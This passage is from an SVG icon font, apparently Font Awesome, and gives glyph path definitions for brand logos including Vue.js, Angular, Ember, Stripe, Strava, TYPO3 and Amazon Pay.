c-4.30078 8.7002 -8.99023 17.5996 -11.3906 25.7002c-2.18164 7.00781 -4.95898 18.5664 -6.2002 25.7998c0 0 -15.2998 -31.7197 -35.0898 -60.6201c-1.09961 -1.7002 -2.2998 -3.39941 -3.39941 -5c3.7998 -9 6.89941 -18.5996 7.2998 -28.2002
c0.700195 -17.3994 -6.90039 -30.5996 -19.4004 -39.7998c-5.16211 -3.70605 -14.208 -8.45508 -20.1895 -10.5996c-3.90039 -1.7998 -12 -4.60059 -23.5 -5.40039c-6.29004 -0.5 -12.29 -0.0996094 -15.6904 2.5c-4.59961 3.40039 -5.2002 7.7998 -2.7998 13.7002
c2 5 17.21 22.4004 30 37.5996c3.5 4.2002 6.90039 8.5 9.90039 12.5c-0.0498047 0.0449219 -0.09375 0.134766 -0.100586 0.200195c0 0 2.2998 3 6.10059 8.2002c-4.7002 10.0996 -10.6006 20.5 -13.4004 30c-2.18164 7.00781 -4.95898 18.5664 -6.2002 25.7998
c0 0 -15.4902 -39.7002 -31.6895 -71.5c-12.4902 -24.5996 -20.79 -39.5 -24.5908 -46v-0.299805s-0.5 -0.900391 -1.5 -2.40039c-0.5 -0.799805 -0.699219 -1.19922 -0.699219 -1.19922v0.0996094c-4.20996 -6.2002 -13.6104 -18.2998 -23 -18.2998
c-25.7002 0 -16.3008 52.2002 -16.3008 52.2002s-7.5 -19.3008 -16 -35.9004c-6.88965 -13.5996 -13.0898 -25 -26.8896 -25c-3.90039 0 -10.1904 0.0996094 -15.3896 5c-11.8008 11.2002 -20.9004 39.7002 -19.1006 61.7002c1.5 18.7998 4.40039 31.7998 8.40039 42.5996
c-7.10059 -3.89941 -15.2002 -8.39941 -23.4902 -13.2998c-4.2998 -2.5 -8.59961 -5 -12.7998 -7.5c0.0996094 -0.299805 0.299805 -0.5 0.400391 -0.799805c10.5996 -20.4004 13.3896 -65.2002 -9.60059 -99.5s-65.7803 -55.2002 -107.57 -43.6006
c-13.3896 3.80078 -33.79 31.6006 -16.29 70.4004c15.4902 34.2002 77.3809 66.5996 93.6709 74.7002c1.39941 0.799805 2.89941 1.59961 4.5 2.5c-32.4902 28.3994 -113.671 66.7998 -125.061 125.7c-3.2002 16.5996 4.58984 56.2998 53.2803 101.899
c40.9902 38.2998 97.9697 67.7002 150.66 86.4004c88.4297 31.3994 181.949 12.8994 196.31 -43.5c14.1006 -55.5 -33.9902 -121.8 -95.7695 -145.601c-54.9902 -21.2998 -100.471 -17.8994 -119.17 -11.7998c-21.29 7 -33.79 21 -36.79 28.9004
c-1.2002 3.09961 -3.30078 8.2998 0 10.0996c2 1.10059 2.7998 0.799805 8.09961 -5.09961c5.09961 -5.60059 25.4902 -20.6006 64.2803 -16.2998c101.77 11.3994 163.06 90.5 143.66 133c-13.4902 29.7998 -91.8408 43.1992 -189.841 -5.60059
c-119.569 -59.5996 -126.069 -108.7 -127.069 -127.399c-2.7998 -51.3008 63.2793 -78.3008 99.0693 -116.5c0.5 -0.5 0.900391 -1 1.40039 -1.5c6.7002 3.69922 13.7998 7.59961 20.7002 11.3994c18 9.90039 35.0996 19.2002 43 23.5
c12.5801 18.2998 38.1797 38.5 56.5801 38.5c29.4893 0 19.3896 -42.3994 19.3896 -42.3994s0.599609 2 1.40039 2c0.799805 0 4.09961 5.5 13.1992 2.19922c9.40039 -3.5 7.2002 -10 7.30078 -10.6992c0.0996094 -1.30078 -11 -38.9004 -15.7002 -63.1006
c-2.2002 -11.5 -0.900391 -19.8994 -0.299805 -19.8994c0.899414 0 2.7998 2.89941 4.5 6.09961v0.0996094s1.2998 2.40039 3.5 6.7002c0 0.200195 -0.200195 -0.299805 -0.5 -0.799805c0.199219 0.400391 0.5 0.900391 0.899414 1.7002
c2.60059 5 6.2002 12.3994 10.4004 21.5996c8.18945 18.1006 39.4795 87.7002 42.0801 95.4004c2.59961 7.7002 4 15.7002 5.2998 19.0996c1.2998 3.40039 12.4102 6 25.2998 5.90039c12.8906 -0.100586 14.1904 -5.60059 14.29 -6.7002
c0.100586 -1.09961 -6.2002 -16.4004 -7.59961 -27.2002c-1.40039 -10.7998 -0.100586 -16.2002 1.09961 -25.2998c0.799805 -6 4.5 -13.5 8.90039 -22c13.2998 21.7998 36.79 63.5996 39.0898 75.2998c1.03613 5.38965 3.41016 13.9473 5.2998 19.1006
c1.29004 3.39941 12.3896 6 25.29 5.89941c12.9004 -0.0996094 14.2002 -5.59961 14.2998 -6.7002c0.100586 -1.09961 -6.2002 -16.3994 -7.59961 -27.1992c-1.40039 -10.8008 -0.100586 -16.2002 1.09961 -25.3008c1 -7.7998 7.10059 -18.1992 13 -30.0996
c15.1289 7.45215 41.0938 13.5 57.958 13.5h0.0419922zM121.79 11.3799c19.4004 21.0996 27.3896 47.9199 19.0996 78.3203c-1 -0.600586 -2 -1.10059 -2.89941 -1.7002c0 0 -0.400391 -0.200195 -1.2002 -0.700195c-4.7998 -2.89941 -8.7002 -5.2998 -11.4004 -6.89941
c-11.7998 -7.40039 -29.5898 -19.4004 -43.3896 -32.4004c-22.6904 -21.4199 -27.3896 -51 -15.4902 -57.9199c11.0898 -6.40039 36.8906 1.2002 55.2803 21.2998zM256.15 102.78c4 9.7998 19.6992 53.2998 16.1992 59.2002c-2.59961 4.5 -13.6992 0.899414 -23.79 -10.4004
c-6.2998 -7 -16.8994 -25 -21.8994 -40.0996c-9.90039 -30 -5.60059 -60.5 1.39941 -62.3008c8.2002 -2.09961 21.6904 37.9004 28.0908 53.6006zM367.15 49.7803c7.7998 4.7998 24.96 16.8994 25.0898 34.7998c0 0.599609 -0.100586 1.09961 -0.100586 1.59961
c-3.98926 -5.19922 -7.68945 -9.89941 -10.8896 -13.8994c-5.5 -6.7998 -19.4004 -21.7002 -19.4004 -21.7002s-2 -1.90039 -1.09961 -2.40039c1.2002 -0.699219 3.7002 0.200195 6.40039 1.60059zM452.73 69.2803c9.68945 3.5 25.7998 11.8994 25.8994 34.3994
c-0.0673828 3.06152 -0.918945 7.90039 -1.89941 10.8008c-10.4102 -9.2002 -16.4004 -18.8008 -19 -24.5c-6.7002 -14.6006 -7 -19.3008 -5 -20.7002z" />
    <glyph glyph-name="vuejs" unicode="&#xf41f;" 
d="M356.9 383.7h91.0996l-224 -383.7l-224 383.7h176l48 -88.6006l56 88.6006h76.9004zM55.7002 351.7l168.3 -288.2l168.2 288.2h-53.7998l-114.4 -198.2l-114.5 198.2h-53.7998z" />
    <glyph glyph-name="angular" unicode="&#xf420;" 
d="M185.7 179.9l38.0996 91.5996l38.1006 -91.5996h-76.2002zM223.8 416l207.8 -74.4004l-31.7998 -275.699l-176 -97.9004l-176 97.9004l-31.7998 275.699zM354 74.2002l-130.2 292.3l-130.1 -292.3h48.7002l26.1992 65.3994h110.601l26.2002 -65.3994h48.5996z" />
    <glyph glyph-name="aviato" unicode="&#xf421;" horiz-adv-x="640" 
d="M107.2 164.5l-19 41.7998h-52.1006l-19 -41.7998h-17.0996l62.2002 131.4l62.2002 -131.4h-17.2002zM62.2002 262.6l-19.6006 -42.5h39.2002zM174.9 160.2l-62.2002 131.399h17.0996l45.1006 -96l45.0996 96h17zM255.5 164.5v127.1h15.5v-127.1h-15.5zM464.6 280.1
v-115.6h-17.2998v115.6h-41.2002v11.5h99.6006v-11.5h-41.1006zM640 229.2c0 -9.2002 -1.7002 -17.7998 -5.09961 -25.7998c-3.40039 -8 -8.2002 -15.1006 -14.2002 -21.1006s-13.1006 -10.7998 -21.1006 -14.2002c-8 -3.39941 -16.5996 -5.09961 -25.7998 -5.09961
s-17.7998 1.7002 -25.7998 5.09961c-8 3.40039 -15.0996 8.2002 -21.0996 14.2002s-10.8008 13 -14.2002 21.1006c-3.40039 8 -5.10059 16.5996 -5.10059 25.7998s1.7002 17.7998 5.10059 25.7998c3.39941 8 8.2002 15.0996 14.2002 21.0996s13 8.40039 21.0996 11.9004
c8 3.40039 16.5996 5.09961 25.7998 5.09961s17.7998 -1.69922 25.7998 -5.09961s15.1006 -5.7998 21.1006 -11.9004c6 -6 10.7002 -13.0996 14.2002 -21.0996c3.39941 -8 5.09961 -16.5996 5.09961 -25.7998zM624.5 229.2c0 7.2998 -1.2998 14 -3.90039 20.2998
c-2.59961 6.2998 -6.19922 11.7002 -10.7998 16.2998c-4.59961 4.60059 -10 8.2002 -16.2002 10.9004c-6.19922 2.7002 -12.7998 4 -19.7998 4s-13.5996 -1.2998 -19.7998 -4s-11.5996 -6.2998 -16.2002 -10.9004c-4.59961 -4.59961 -8.2002 -10 -10.7998 -16.2998
s-3.90039 -13.0996 -3.90039 -20.2998c0 -7.2998 1.30078 -14 3.90039 -20.2998c2.59961 -6.30078 6.2002 -11.7002 10.7998 -16.3008c4.60059 -4.59961 10 -8.19922 16.2002 -10.8994s12.7998 -4 19.7998 -4s13.6006 1.2998 19.7998 4
c6.2002 2.7002 11.6006 6.2998 16.2002 10.8994c4.60059 4.60059 8.2002 10 10.7998 16.3008c2.60059 6.2998 3.90039 13.0996 3.90039 20.2998zM529.7 132.5c6 -0.900391 10.5 -6 10.7002 -12.2998c0 -6.7998 -5.60059 -12.4004 -12.4004 -12.4004
s-12.4004 5.60059 -12.4004 12.4004c0 6.2002 4.60059 11.2998 10.5 12.2002v5.7998l-80.2998 -9v-5.40039c5.60059 -1.09961 9.90039 -6.09961 9.90039 -12.0996c0 -6.7998 -5.60059 -10.2002 -12.4004 -10.2002s-12.3994 3.40039 -12.3994 10.2002
c0 5.89941 4.19922 11 9.89941 12.0996v4.90039l-28.3994 -3.2002v-23.7002h5.89941v-13.7998h-5.89941v6.59961h-5v-6.59961h-5.90039v13.7998h5.90039v23.2002l-38.3008 -4.2998c-8.09961 -11.5 -19 -13.6006 -19 -13.6006l0.100586 -6.69922l5.09961 -0.200195
l0.100586 -12.1006h-4.10059l-0.0996094 5h-5.2002l-0.0996094 -5h-4.10059l0.100586 12.1006l5.09961 0.200195l0.0996094 6.69922s-10.8994 2.2002 -19 13.6006l-38.2998 4.2998v-23.2002h5.90039v-13.7998h-5.90039v6.59961h-5v-6.59961h-5.89941v13.9004h5.89941
v23.6992l-28.3994 3.2002v-4.89941c5.59961 -1.10059 9.89941 -6.10059 9.89941 -12.1006c0 -6.7998 -5.59961 -10.2002 -12.3994 -10.2002c-6.80078 0 -12.4004 3.40039 -12.4004 10.2002c0 5.90039 4.2002 11 9.90039 12.1006v5.39941l-80.3008 9v-5.7998
c5.90039 -0.900391 10.5 -6 10.5 -12.2002c0 -6.7998 -5.59961 -12.3994 -12.3994 -12.3994s-12.4004 5.59961 -12.4004 12.3994c0 6.2002 4.60059 11.2998 10.5 12.2002v6.2998l-88.8994 10l242.899 -13.5c-0.599609 2.2002 -1.09961 4.60059 -1.39941 7.2002
c-0.300781 2.09961 -0.5 4.2002 -0.600586 6.5l-64.7998 8.09961l64.9004 -1.89941c0 0.399414 0 0.799805 0.0996094 1.09961c2.7998 17.2002 25.5 23.7002 25.5 23.7002l1.09961 26.4004h-23.5996l-19 -41.8008h-17.0996l62.1992 131.4l62.2002 -131.4h-17.0996
l-19 41.8008h-23.7998l1.09961 -26.3008s22.7002 -6.5 25.5 -23.6992c0 -0.400391 0.0996094 -0.700195 0.0996094 -1.10059l64.9004 1.90039l-64.7998 -8.10059c-0.100586 -2.2998 -0.299805 -4.5 -0.600586 -6.5c-0.299805 -2.59961 -0.799805 -5 -1.39941 -7.19922
l242.899 13.3994l-88.8994 -10v-6.2998zM328.9 220.1h17.8994l1.7002 40.3008l1.7002 -40.3008h17.8994l-19.5996 42.5z" />
    <glyph glyph-name="ember" unicode="&#xf423;" horiz-adv-x="640" 
d="M639.9 193.4c1.09961 -10.8008 -5.30078 -14.3008 -5.30078 -14.3008s-26.5996 -19.5996 -47 -13.6992c-20.3994 5.89941 -21.5 43.1992 -21.5 43.1992h-1.89941l-20.7002 -57.1992s-8.2998 -27.9004 -20.7002 -22.8008
c-12.3994 5.10059 -12.0996 18.6006 -12.0996 18.6006s-19.2998 -21.2998 -54.7998 -18.6006c-31.1006 2.30078 -41.1006 26.7002 -41.1006 26.7002s-20.7998 -14.3994 -79.0996 -25.8994c-26.1006 -2.90039 -44.6006 12.8994 -44.6006 12.8994
c-2.39941 -2.39941 -18 -10.2002 -18 -10.2002s-22.2998 -10.2998 -30.8994 5.30078c-8.60059 15.5996 -3 63.6992 -3 63.6992h-1.60059s-12.8994 -26.2998 -19.5996 -49.8994c-6.7002 -23.6006 -15 -21.2002 -15 -21.2002s-15.2998 -1.40039 -18.7998 11.4004
c-3.5 12.8994 5.59961 59.6992 5.59961 59.6992l-1.2998 -0.299805s-0.799805 1.40039 -12.5996 -23.5996c-20.1006 -48.9004 -24.9004 -50 -36.5 -47.9004c-11.6006 2.10059 -12.1006 16.7002 -12.1006 16.7002l-15.8994 -8.7998s-38.6006 -16.6006 -58.8008 -1.2998
c-13.3994 10.1992 -18 22.1992 -19.5996 29.6992c0 0 -17 1.80078 -28.0996 6.10059c-11.1006 4.2998 0.0996094 18.2998 0.0996094 18.2998s3.5 5.2998 10 0s18.7998 -2.90039 18.7998 -2.90039c1 8.5 2.5 19.7002 7.7998 31.5c11 24.7002 27.6006 33 41.3008 33.3008
c13.6992 0.199219 23.3994 -3.5 31.6992 -15.3008c18.6006 -45.8994 -49.3994 -69.1992 -49.3994 -69.1992s-1.7998 -12.1006 16.7002 -11.8008c18.5996 0.200195 46.7998 20.4004 46.7998 20.4004c1.2998 15.4004 12.0996 63.5 15 70.7002
c2.89941 7.2002 14.2002 5.89941 14.2002 5.89941s8.89941 1.90039 10.5 -7.5c1.69922 -9.39941 -6.40039 -47.5996 -6.40039 -47.5996l1.2998 -1.59961c0.799805 3.69922 20.4004 36.5 20.4004 36.5s11.2998 19.5996 28.5 18.7998s-0.799805 -53.5 -0.799805 -53.5
l1.2998 -1.60059l1.2998 2.40039c2.2002 5.90039 27.7002 44.5996 27.7002 44.5996s9.59961 11.3008 18.5 8.60059c8.7998 -2.60059 9.39941 -6.7002 9.89941 -14.2002s-7 -52.0996 -7 -52.0996s-4.2998 -29.2002 5.40039 -28.7002s20.2002 10.7002 20.2002 10.7002
s7.5 57.5996 12.5996 105.1c5.10059 47.5 27.1006 79.5 27.1006 79.5s6.5 10 23.5 16.7002c11.1992 4 23.3994 1.2998 29.1992 -23.1006c9.5 -41 -23.2998 -87.8994 -36.8994 -105.199c5.89941 5.7998 15.7998 12.0996 27.2002 5.2998
c40.2998 -25.2998 7.2998 -80.9004 7.2998 -80.9004c11.7998 3.7998 33 18 33 18s0.5 6.10059 0.700195 7.5c7.19922 41.2998 32 56.2002 36.5996 59.7002c4.7998 3.59961 47.0996 19.7998 49 -24s-52.9004 -59.0996 -52.9004 -59.0996s4.80078 -12.6006 25 -9.40039
c20.2002 3.2002 43.3008 22.7998 43.3008 22.7998c0.799805 18 12.5996 61 15 67.2002c2.39941 6.2002 17.1992 6.5 18.7998 3c2.2002 -7 0.299805 -37.5996 0.299805 -37.5996l1.59961 0.5c5.90039 17.5 18.3008 31.1992 18.3008 31.1992s9.89941 9.7002 18 7.30078
c8.09961 -2.30078 5.09961 -30.4004 5.09961 -30.4004s-4.2998 -30.7002 9.40039 -32c13.6992 -1.40039 29.2998 10.7002 29.2998 10.7002s9.59961 3.89941 10.7002 -6.7998zM61.9004 188.1c0 0 6.19922 -1.89941 19.8994 7.60059
c13.7002 9.39941 16.4004 24.3994 9.10059 31.3994c-7.2002 6.90039 -28.2002 -7 -29 -39zM334.7 311.9c0 0 -15.9004 -54.5 -16.4004 -70.7002c0 0 44.5 72 40 96.2002c-4.5 24.1992 -23.5996 -25.5 -23.5996 -25.5zM357.5 173.5
c12.5996 33.0996 -3.59961 45.5 -3.59961 45.5s-23.4004 12.9004 -33.3008 -20.2002c-9.89941 -33.0996 -6.39941 -44.8994 -6.39941 -44.8994s30.7002 -13.4004 43.2998 19.5996zM442.1 188.1c0 0 15.7002 -1.09961 26.4004 14.2002s1.2998 25.5 1.2998 25.5
s-8.59961 11.1006 -19.5996 -9.09961c-11.1006 -20.1006 -8.10059 -30.6006 -8.10059 -30.6006z" />
    <glyph glyph-name="font-awesome-flag" unicode="&#xf425;" 
d="M444.373 88.5762c0 -7.16797 -6.14453 -10.2402 -13.3125 -13.3125c-28.6719 -12.2881 -59.3916 -23.5518 -92.1592 -23.5518c-46.0801 0 -67.584 28.6719 -122.88 28.6719c-39.9365 0 -81.9209 -14.3359 -115.713 -29.6953
c-2.04785 -1.02441 -4.0957 -1.02441 -6.14355 -2.04883v-77.8232c0 -21.4053 -16.1221 -34.8164 -33.792 -34.8164c-19.4561 0 -34.8164 15.3604 -34.8164 34.8164v374.783c-13.3115 10.2402 -22.5273 26.624 -22.5273 45.0566c0 31.7441 25.5996 57.3438 57.3438 57.3438
s57.3438 -25.5996 57.3438 -57.3438c0 -18.4326 -8.19141 -34.8164 -22.5273 -45.0566v-31.7432c4.12402 1.37402 58.7676 28.6719 114.688 28.6719c65.2705 0 97.6758 -27.6484 126.976 -27.6484c38.9121 0 81.9209 27.6484 92.1602 27.6484
c8.19238 0 15.3604 -6.14453 15.3604 -13.3125v-240.64z" />
    <glyph glyph-name="gitter" unicode="&#xf426;" horiz-adv-x="384" 
d="M66.4004 125.5h-50.4004v322.5h50.4004v-322.5zM166.9 371.9v-435.9h-50.4004v435.9h50.4004zM267.5 371.9v-435.9h-50.4004v435.9h50.4004zM368 372v-247h-50.4004v247h50.4004z" />
    <glyph glyph-name="hooli" unicode="&#xf427;" horiz-adv-x="640" 
d="M144.5 96v16c12.2998 -6.59961 25.0996 -12.2002 38.2998 -16.7998zM202.2 101.3c29.5 -10.7002 55.3994 -13.5 75.2998 -13.2998c-24.7998 -7 -58.2002 -5.2998 -94.7002 7.2002l19.4004 0.799805v5.2998zM611.1 216.5c-16 0 -28.8994 13 -28.8994 28.9004
c0 15.8994 13 24.5 28.8994 24.5c16 0 28.9004 -8.5 28.9004 -24.5s-13 -28.9004 -28.9004 -28.9004zM582.1 96v110.5h57.9004v-110.5h-57.9004zM508.4 96v168l57.8994 27.2998v-195.3h-57.8994zM477.4 215.4c18.0996 -18.1006 16.6992 -33.8008 16.7998 -52.6006
c0 -18.7002 1.39941 -34.2998 -16.7998 -52.5c-18.1006 -18.2002 -50.4004 -17.0996 -50.4004 -17.0996s-32.2002 -1.10059 -50.4004 17.0996c-18.1992 18.2002 -16.7998 33.7998 -16.7998 52.5s-1.39941 34.4004 16.7998 52.6006
c18.1006 18.1992 50.4004 17.0996 50.4004 17.0996s32.2002 1.09961 50.4004 -17.0996zM437.6 143.5v40.4004c0 8.7998 -7.2998 10.8994 -10.6992 10.8994c-3.40039 0 -10.7002 -2.2002 -10.7002 -10.8994v-40.4004c0 -3.59961 1.7998 -12.5 10.7002 -12.5
c8.89941 0 10.6992 8.90039 10.6992 12.5zM331.4 215.4c18.1992 -18.1006 16.6992 -33.8008 16.6992 -52.3008c0 -18.6992 1.5 -34.2998 -16.6992 -52.5c-18.1006 -18.1992 -50.4004 -17.0996 -50.4004 -17.0996s-32.2002 -1.09961 -50.4004 17.0996
c-18.1992 18.2002 -16.7998 33.8008 -16.7998 52.5c0 15.6006 -0.899414 29.1006 9.2998 43.7002c-16 11.7998 -58 37.4004 -99.8994 58.2998v-54.2998c8 13.7002 22.7002 22 38.5 21.9004c27.2002 0 40.5996 -18.7002 40.5996 -37.4004v-93.8994
c-20.3994 7.5 -39.7002 17.3994 -57.7002 29.5996v48.7002c0 8.09961 -1.5 15 -10.5996 15s-10.7998 -11.2998 -10.7998 -18.2002v-29.7998l-4.5 3.59961c-22.9004 18.9004 -40.2998 35.6006 -53.4004 50.2998v-31c11 -9.7998 23.6006 -20.1992 38.4004 -31.3994
c6.39941 -4.90039 12.8994 -9.40039 19.3994 -13.6006v-28.5996h-57.8994v73.7002c-86.7002 78 -61.7998 110.8 -61.7998 110.8c8.2998 18.2998 42.8994 22.2002 97.2998 0.0996094l22.5 10.6006v-20.7002c29.5996 -14.5996 63.8994 -31.5 102.1 -61.0996
c1.60059 2.09961 3.40039 4.09961 5.2998 6c18.2002 18.1992 50.4004 17.0996 50.4004 17.0996s32.2002 1.09961 50.4004 -17.0996zM65.2002 264l29.2002 13.7002c-26.9004 10.0996 -50.9004 13.5 -64.4004 2.09961c-3.7002 -3.09961 -13.5 -24.5996 35.2002 -79.0996
v63.2998zM291.7 143.5v40.4004c0 8.7998 -7.2998 10.8994 -10.7002 10.8994s-10.7002 -2.2002 -10.7002 -10.8994v-40.4004c0 -3.59961 1.7998 -12.5 10.7002 -12.5s10.7002 8.90039 10.7002 12.5z" />
    <glyph glyph-name="strava" unicode="&#xf428;" horiz-adv-x="384" 
d="M158.4 448l150.199 -292h-88.5l-61.6992 116.1l-62.2002 -116.1h-89.2002zM308.6 156h67.6006l-111.5 -220l-112.2 220h67.5996l44.6006 -88.2002z" />
    <glyph glyph-name="stripe" unicode="&#xf429;" horiz-adv-x="640" 
d="M165 303.3l0.0996094 -38.5h33.7002v-37.7998h-33.7002v-63.2002c0 -26.2002 28 -18 33.7002 -15.7002v-33.7998c-5.89941 -3.2002 -16.5996 -5.89941 -31.2002 -5.89941c-26.2998 0 -46.0996 17 -46.0996 43.2998l0.200195 142.399zM254.1 251.7
c10.4004 19.0996 31.1006 15.2002 37.1006 13.0996v-40.7998c-5.7002 1.7998 -23.4004 4.5 -33.9004 -9.2998v-103.101h-44.2998v153.2h38.4004zM346.4 324v-36.2002l-44.6006 -9.5v36.2002zM44.9004 219.7c0 -20 67.8994 -10.5 67.8994 -63.4004
c0 -32 -25.3994 -47.7998 -62.2998 -47.7998c-15.2998 0 -32 3 -48.5 10.0996v40c14.9004 -8.09961 33.9004 -14.1992 48.5996 -14.1992c9.90039 0 17 2.69922 17 10.8994c0 21.2002 -67.5 13.2002 -67.5 62.4004c0 31.3994 24 50.2002 60 50.2002
c14.7002 0 29.4004 -2.30078 44.1006 -8.10059v-41.7998c-13.5 7.2998 -30.7002 11.4004 -44.2002 11.4004c-9.2998 -0.100586 -15.0996 -2.80078 -15.0996 -9.7002zM640 186.4c0 -4.30078 -0.400391 -13.6006 -0.599609 -15.9004h-86.9004
c2 -20.7998 17.2002 -26.9004 34.5 -26.9004c17.5996 0 31.5 3.7002 43.5996 9.80078v-33.4004c-12.0996 -6.7002 -28 -11.5 -49.1992 -11.5c-43.2002 0 -73.5 24.7002 -73.5 78.2002c0 45.2002 25.6992 81.0996 67.8994 81.0996s64.2002 -35.8994 64.2002 -81.3994z
M552.1 203.2h45.9004c0 20 -11.5996 28.3994 -22.5 28.3994c-11.0996 0 -23.4004 -8.39941 -23.4004 -28.3994zM439.2 267.8c31.2002 0 60.5996 -28.0996 60.5 -79.7002c0 -56.3994 -29 -79.5996 -60.7998 -79.5996c-15.5 0 -25 6.5 -31.4004 11.2002l-0.0996094 -50.2002
l-44.4004 -9.40039v204.801h39.0996l2.30078 -11c6.19922 5.69922 17.3994 13.8994 34.7998 13.8994zM428.6 145.3c16.5 0 27.5 17.9004 27.4004 41.7998c0 23.2002 -11.2002 41.4004 -27.4004 41.4004c-10.1992 0 -16.5996 -3.7002 -21.1992 -8.7998l0.299805 -66
c4.2998 -4.60059 10.5 -8.40039 20.8994 -8.40039zM301.9 111.6v153.2h44.5996v-153.2h-44.5996z" />
    <glyph glyph-name="stripe-s" unicode="&#xf42a;" horiz-adv-x="384" 
d="M155.3 293.4c0 -64.2002 218 -33.7002 218 -203.9c0 -102.6 -81.7002 -153.6 -200.3 -153.6c-44.8916 0.101562 -114.78 14.6172 -156 32.3994v128.5c47.9004 -26 108.9 -45.5 156.1 -45.5c31.8008 0 54.7002 8.5 54.7002 34.9004c0 68.0996 -216.8 42.5 -216.8 200.399
c0 101 77.0996 161.4 192.8 161.4c47.2998 0 94.5 -7.2002 141.8 -26.0996v-134.301c-43.3994 23.4004 -98.5 36.7002 -141.899 36.7002c-29.7998 0 -48.4004 -8.59961 -48.4004 -30.8994z" />
    <glyph glyph-name="typo3" unicode="&#xf42b;" 
d="M178.7 369.6c0 -66.3994 83.3994 -264.899 140.6 -264.899c6.90039 0 11.5 0 18.5 2.2998c-49.3994 -79.5 -110.399 -139 -146.7 -139c-77.2998 0 -184.1 234 -184.1 337.5c0 16.2998 3.90039 29.4004 9.2998 37.0996c27 32.4004 106.8 57.9004 176.3 66.4004
c-8.5 -7 -13.8994 -14.7002 -13.8994 -39.4004zM301.5 416c71.7998 0 138.8 -11.5996 138.8 -52.5c0 -82.5996 -52.5 -182.3 -78.7998 -182.3c-47.9004 0 -101.7 132.1 -101.7 198.5c0 30.8994 11.6006 36.2998 41.7002 36.2998z" />
    <glyph glyph-name="amazon-pay" unicode="&#xf42c;" horiz-adv-x="640" 
d="M14 122.7c2.2998 4.2002 5.2002 4.89941 9.7002 2.5c10.3994 -5.60059 20.5996 -11.4004 31.2002 -16.7002c33.6992 -16.8047 90.7744 -37.5469 127.399 -46.2998c17.2734 -4.16797 45.5869 -9.4541 63.2002 -11.7998c22.083 -2.96875 58.0898 -5.37793 80.3721 -5.37793
c4.03809 0 10.5908 0.0800781 14.6279 0.177734c17.4004 0.399414 34.7998 1.7998 52.0996 3.7998c46.7393 5.44824 119.897 24.623 163.301 42.7998c2.89941 1.2002 5.89941 2 9.09961 1.2002c6.7002 -1.7998 9 -9 4.09961 -13.9004
c-2.47168 -2.27246 -6.77246 -5.58789 -9.59961 -7.39941c-30.7002 -21.1006 -64.2002 -36.4004 -99.5996 -47.9004c-20.3311 -6.55176 -53.9756 -14.4365 -75.1006 -17.5996c-14.6006 -2.23633 -38.4346 -4.38672 -53.2002 -4.7998
c-0.694336 -0.0419922 -1.81445 -0.176758 -2.5 -0.300781h-21.0996c-0.685547 0.124023 -1.80469 0.258789 -2.5 0.300781c-3.59961 0.199219 -7.2002 0.299805 -10.7002 0.399414c-13.9971 0.634766 -36.5762 3.00879 -50.3994 5.2998
c-22.7275 3.7041 -58.7471 13.0674 -80.4004 20.9004c-44.8652 16.1797 -110.094 55.1562 -145.6 87c-1.80078 1.59961 -3 3.7998 -4.40039 5.7002v2zM172 382.9c2.7998 0 5.5 0 8.2998 -0.100586c3.2998 -0.5 6.60059 -0.799805 9.7998 -1.5
c21.3008 -4.39941 35.4004 -17.2998 43.9004 -36.8994c6.90039 -15.9004 8.59961 -32.7002 8.09961 -49.8008c-0.399414 -15.3994 -3.2998 -30.1992 -10.2998 -44.0996c-9.2002 -18.4004 -23.3994 -30.9004 -43.7998 -34.9004c-22.5 -4.39941 -43.0996 0.5 -61 15.4004
c-0.5 0.5 -1.09961 1 -2.2002 1.90039v-72.4004c0 -1 0 -2 -0.0996094 -3c-0.299805 -3 -2.10059 -5 -5 -5c-7 -0.0996094 -14.1006 -0.0996094 -21.1006 0c-2.89941 0.0996094 -4.69922 2 -4.89941 5c-0.100586 1 -0.100586 2 -0.100586 3v209.3
c0 6.90039 1.30078 8.2002 8.2002 8.2002h11.5c4.60059 0 6.90039 -2 7.60059 -6.59961c0.5 -2.7002 0.899414 -5.5 1.2998 -8.2002c0.0439453 -0.405273 0.222656 -1.0332 0.399414 -1.40039c2.5 1.90039 4.7002 3.7002 7.10059 5.40039
c9.39941 6.90625 26.4238 13.6709 38 15.0996zM124.6 341c0.100586 -14.0996 0 -28 0 -42.0996c0 -14.1006 0.100586 -28.1006 0 -42.2002c-0.00488281 -0.0703125 -0.00878906 -0.183594 -0.00878906 -0.253906c0 -1.10547 0.765625 -2.46973 1.70898 -3.0459
c11.2002 -7.90039 23.4004 -13.3008 37.4004 -13.9004c20.2002 -0.900391 35.7998 7.2002 42.5996 28.5c3.2002 10 4 20.2002 4 30.5996c0 11.2002 -1 22.3008 -4.89941 33c-6.40039 17.5 -18.6006 24.8008 -33.5 25.9004
c-16.8008 1.2998 -31.9004 -3.7002 -45.6006 -13.2002c-0.945312 -0.556641 -1.71289 -1.90039 -1.71289 -2.99805c0 -0.0830078 0.00585938 -0.21875 0.0126953 -0.301758zM330.3 382.9c4 0 8 0 11.9004 0.0996094c3.59961 -0.5 7.2002 -0.799805 10.7998 -1.2998
c7.7002 -1.10059 15.0996 -3.10059 21.7998 -7.10059c11.6006 -6.89941 17.1006 -17.5 19 -30.3994c0.5 -3.29297 0.905273 -8.66895 0.905273 -12c0 -0.248047 -0.00195312 -0.651367 -0.00488281 -0.900391v-106
c0.00195312 -0.128906 0.00390625 -0.336914 0.00390625 -0.46582c0 -0.645508 -0.046875 -1.69141 -0.104492 -2.33398c-0.0742188 -2.57422 -2.22461 -4.67969 -4.7998 -4.7002c-5.39941 -0.0996094 -10.8994 -0.0996094 -16.2998 0
c-2.90039 0.100586 -4.7998 2.10059 -5.40039 5.2002c-0.699219 3.59961 -1.19922 7.2002 -1.7998 11c-0.481445 -0.245117 -1.19824 -0.737305 -1.59961 -1.09961c-11.7998 -9.7002 -25.2002 -16.1006 -40.2998 -18.4004c-13.1006 -2 -26 -1.2002 -37.9004 5.40039
c-12.4004 6.89941 -19.4004 17.6992 -21.4004 31.6992c-1.5 10.5 -0.799805 20.9004 3.90039 30.7002c6.09961 12.6006 16.5 20.4004 29.4004 24.9004c10.7998 3.7998 22 4.5 33.2998 3.89941c8.95312 -0.556641 23.2891 -2.75195 32 -4.89941
c0.399414 -0.100586 0.799805 0 1.2998 -0.100586c0.0898438 0.381836 0.179688 1.00879 0.200195 1.40039c-0.100586 8.2998 0 16.5996 -0.299805 24.9004c-0.200195 5.89941 -1.60059 11.5996 -5.30078 16.3994c-4.19922 5.5 -10.2998 7.40039 -16.7998 8.40039
